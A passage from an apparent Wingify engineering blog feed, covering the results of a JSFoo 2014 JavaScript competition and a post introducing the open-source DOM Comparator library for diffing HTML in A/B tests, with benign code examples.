6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Rewards&lt;/h3&gt; &lt;p&gt;The best two entries in the competition will be rewarded with prizes. There are three consolation prizes as well.&lt;/p&gt; &lt;h4 id=&quot;winner-prize&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#winner-prize&quot; aria-label=&quot;winner prize permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Winner Prize&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/Flame&quot;&gt;Firefox OS Flame Device&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;runner-up-prize&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#runner-up-prize&quot; aria-label=&quot;runner up prize permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Runner-up Prize&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://www.mozilla.org/en-US/firefox/os/devices/#zte_open&quot;&gt;Firefox OS ZTE Open Device&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;consolation-prizes&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#consolation-prizes&quot; aria-label=&quot;consolation prizes permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Consolation Prizes&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;Software licenses of Sublime Text or JetBrains WebStorm.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;wingify--jsfoo&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#wingify--jsfoo&quot; aria-label=&quot;wingify jsfoo permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Wingify @ JSFoo&lt;/h2&gt; &lt;p&gt;Our engineers will be present at the conference. If you are &lt;a href=&quot;http://github.com/wingify&quot;&gt;interested in our work&lt;/a&gt;, want to know more about what we are doing, want to work with us (&lt;a href=&quot;http://wingify.com/careers&quot;&gt;we&apos;re hiring&lt;/a&gt;), get some cool goodies or just want to say Hi!, please visit our booth (B1) or catch any of our team members. We’d love to talk to you!&lt;/p&gt; &lt;p&gt;We look forward to meeting in Delhi for the run-up event and in Bangalore for the conference!&lt;/p&gt; &lt;h4 id=&quot;edit---23rd-september-2014&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#edit---23rd-september-2014&quot; aria-label=&quot;edit 23rd september 2014 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Edit - 23rd September 2014&lt;/h4&gt; &lt;p&gt;Results for our JS competition are out!&lt;/p&gt; &lt;ul&gt; &lt;li&gt;1st prize - Amanpreet Singh - &lt;a href=&quot;http://anixir.com/projects/squares/index.htm&quot;&gt;View entry&lt;/a&gt;&lt;/li&gt; &lt;li&gt;2nd prize - Shubham Jain - &lt;a href=&quot;http://cssdeck.com/labs/swdgqeai5m&quot;&gt;View entry&lt;/a&gt;&lt;/li&gt; &lt;li&gt;3rd prize - Mahima Sivasankar - &lt;a href=&quot;http://cssdeck.com/labs/full/xeg8hfex&quot;&gt;View entry&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;You will be contacted individually for further process. Congratulations!&lt;/p&gt;</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Open Sourcing DOM Comparator]]></title><description><![CDATA[DOM Comparator is a JavaScript library that analyzes and compares two HTML strings, and returns back a diff object. It returns an output…]]></description><link>https://engineering.wingify.com//posts/open-sourcing-dom-comparator/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/open-sourcing-dom-comparator/</guid><pubDate>Mon, 11 Aug 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;DOM Comparator is a JavaScript library that analyzes and compares two HTML strings, and returns back a diff object. It returns an output which is an array of operation objects.&lt;/p&gt; &lt;div style=&quot;text-align: center;&quot;&gt; &lt;a href=&quot;https://github.com/wingify/dom-comparator&quot; style=&quot;padding: 20px 40px; font-size: 24px;&quot; class=&quot;btn btn-primary&quot;&gt;DOM Comparator on Github&lt;/a&gt; &lt;/div&gt; &lt;p&gt;Here&apos;s a simple example:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; stringA &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&amp;lt;ul&gt;&amp;lt;li class=&quot;active&quot;&gt;list item 1&amp;lt;/li&gt;&amp;lt;li&gt;list item 2&amp;lt;/li&gt;&amp;lt;/ul&gt;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; stringB &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&amp;lt;ul&gt;&amp;lt;li&gt;list item 1&amp;lt;/li&gt;&amp;lt;li&gt;list item 2&amp;lt;/li&gt;&amp;lt;/ul&gt;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Compare the two strings&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;VWO&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;DOMComparator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; stringA&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; stringA&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; stringB&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; stringB &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Expect an array of VWO.Operation objects to be returned,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// the first one of which looks like below:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toEqual&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;removeAttr&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; selectorPath&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;UL:first-child &gt; LI:first-child&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;active&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h2 id=&quot;motivation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#motivation&quot; aria-label=&quot;motivation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Motivation&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;https://vwo.com/knowledge/about-vwo-campaign-builder&quot;&gt;The Campaign Builder&lt;/a&gt; is one of the core components of our A/B testing software &lt;a href=&quot;http://vwo.com&quot;&gt;VWO&lt;/a&gt;. It allows you to make changes to any website on the fly. Assuming the target website has a small snippet of &lt;a href=&quot;https://vwo.com/knowledge/folder-vwo-smart-code&quot;&gt;VWO SmartCode&lt;/a&gt; (Javascript) inserted, the changes made by the user are applied when the A/B test is run. These changes are little snippets of jQuery operations that are applied on the client-end.&lt;/p&gt; &lt;p&gt;One of the major problems faced when applying such changes that they did not regard for dynamic content that might have been rendered by the client&apos;s website&apos;s backend. Let us consider a simple example:&lt;/p&gt; &lt;p&gt;Imagine somebody wanting to run an A/B test on all the product pages of an eCommerce website. He wants to modify the &quot;Buy Now&quot; button on all such pages and make it appear bigger and bolder, so that it captures the end-user&apos;s attention better. He navigates to some product page, selects the button and tries to edit it. Assume that that button has markup that looks like below:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;javascript:addToCart(16);&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;add_to_cart&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Add to Cart&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The Campaign Builder provides an &quot;Edit&quot; operation, that opens up a rich text editor for the user to make changes to any element with ease. Assuming, he makes the text of the button bolder and changes the color to a bright red, here&apos;s what the resulting markup would look like:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;javascript:addToCart(16);&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;add_to_cart&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token style-attr language-css&quot;&gt;&lt;span class=&quot;token attr-name&quot;&gt; &lt;span class=&quot;token attr-name&quot;&gt;style&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&quot;&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;bold&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;red&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Add to Cart&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Internally, an Edit operation is identified by the element the operation is applied on, and the new markup provided by the user, which in this case is the above code. It means that if a Buy Now button is found on any page, it will be replaced with the above code. The jQuery code for such an operation would look something like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// A unique selector path to identify the element&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; selector &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;#product_description &gt; P:first-child + P &gt; A:first-child&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;selector&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;replaceWith&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&amp;lt;a href=&quot;javascript:addToCart(16);&quot; class=&quot;add_to_cart&quot; style=&quot;font-weight:bold;color:red;&quot;&gt;Add to Cart&amp;lt;/a&gt;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Notice how this would not only add the styles to that element, but also change its &lt;code class=&quot;language-text&quot;&gt;href&lt;/code&gt; to always execute &lt;code class=&quot;language-text&quot;&gt;addToCart(16);&lt;/code&gt; regardless of the product page the user is on. Essentially, the dynamic content rendered by the client&apos;s backend has now been replaced with static content.&lt;/p&gt; &lt;h2 id=&quot;dom-comparator-to-the-rescue&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#dom-comparator-to-the-rescue&quot; aria-label=&quot;dom comparator to the rescue permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;DOM Comparator to the Rescue&lt;/h2&gt; &lt;p&gt;With DOM Comparator in place, the initial markup of the Edit operation above will be compared with the final one, and a difference would be returned. The difference would contain the minimal changes necessary to be made to the target element, thereby impacting dynamic content as less as possible.&lt;/p&gt; &lt;p&gt;For the above example, here&apos;s what the list of resulting operations would look like:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;css&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;selectorPath&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#product_description &gt; P:first-child + P &gt; A:first-child&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;content&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;font-weight&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bold&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;color&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;red&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h2 id=&quot;live-demo&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#live-demo&quot; aria-label=&quot;live demo permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Live Demo&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;http://engineering.wingify.com/dom-comparator/live-demo.html&quot;&gt;Click here&lt;/a&gt; to view a live demo.&lt;/p&gt; &lt;h2 id=&quot;whats-next&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#whats-next&quot; aria-label=&quot;whats next permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What&apos;s Next&lt;/h2&gt; &lt;p&gt;The library is currently in a pre-alpha state. It works well for a good number of cases, but does not for a lot of others. And for certain complex cases, it might not be performant enough.&lt;/p&gt; &lt;p&gt;Our current plans are focused on improving the library as per the below priority list:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Correctness&lt;/strong&gt;: For almost all the cases, the first priority is to get the output as correct as possible to the expectation. This has been our prime focus thus far.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Performance&lt;/strong&gt;: Once we ensure the cases perform correctly, the next task is to profile and optimize for performance. Since tree comparison is a pretty complex operation, we will be looking into possibilities like spawning a worker for performing tasks, or delegating to a Node.js server for comparison.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Readability&lt;/strong&gt;: For a complex algorithm, it is equally important for the code to be readable. In the coming versions, certain complex logic, especially in the classes &lt;code class=&quot;language-text&quot;&gt;VWO.DOMMatchFinder&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;VWO.StringComparator&lt;/code&gt; will be refactored from the point of view of readability.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt;: Writing a documentation is as hard as writing code, if not more, is what I have realized when documenting this project. Over time, we will spend some time improving the documentation, and also release a reference manual for the classes used.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;contributing&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#contributing&quot; aria-label=&quot;contributing permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Contributing&lt;/h2&gt; &lt;p&gt;If you are interested in contributing to the project, we would love to hear from you. Just &lt;a href=&quot;https://github.com/wingify/dom-comparator/fork&quot;&gt;fork the repository&lt;/a&gt; and &lt;a href=&quot;https://github.com/wingify/dom-comparator/pulls&quot;&gt;submit a pull request&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;further-reading&quot; 